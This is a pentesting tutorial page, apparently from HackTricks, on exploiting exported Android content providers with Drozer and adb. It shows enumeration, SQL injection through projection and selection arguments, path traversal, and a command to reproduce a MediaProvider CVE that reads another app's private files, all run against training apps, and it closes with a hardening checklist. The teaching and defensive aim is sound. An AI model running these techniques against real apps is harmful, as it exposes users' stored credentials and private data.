263 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**.
In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.
**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
## Get info from **exposed content providers**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.
Drozer can **guess and try several URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
You should also check the **ContentProvider code** to search for queries:
![](<../../../images/image (121) (1) (1) (1).png>)
Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
![](<../../../images/image (564).png>)
The query will be like: `content://name.of.package.class/declared_name`
## **Database-backed Content Providers**
Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.
When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Because you will be able to call them
### Query content
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insert content
Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
### Update content
Knowing the name of the columns you could also **modify the entries**:
![](<../../../images/image (780).png>)
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
![](<../../../images/image (784).png>)
You can try to **abuse** this **parameters** to test for **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Automatic SQLInjection discovery by Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **File System-backed Content Providers**
Content providers could be also used to **access files:**
![](<../../../images/image (407).png>)
### Read **file**
You can read files from the Content Provider
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Automatic Path Traversal discovery by Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 Updates & Modern Tips
### Drozer 3.x (Python 3) is out
WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 April 2024**).
Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:
* `scanner.provider.exported` list only providers with `android:exported="true"`.
* `app.provider.grant` automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
* Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.
Upgrade (host & agent):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Using the built-in `cmd content` helper (ADB ≥ 8.0)
All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.
### Recent real-world CVEs that abused Content Providers
| CVE | Year | Component | Bug class | Impact |
|-----|------|-----------|-----------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any apps private storage |
| CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |
Re-create CVE-2024-43089 on a vulnerable build:
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Hardening checklist for API 30+
* Declare `android:exported="false"` unless the provider **must** be public from API 31 the attribute is mandatory.
* Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
* Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
* In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
* When exposing files prefer **Storage Access Framework** or a `FileProvider`.
These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.
## References
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}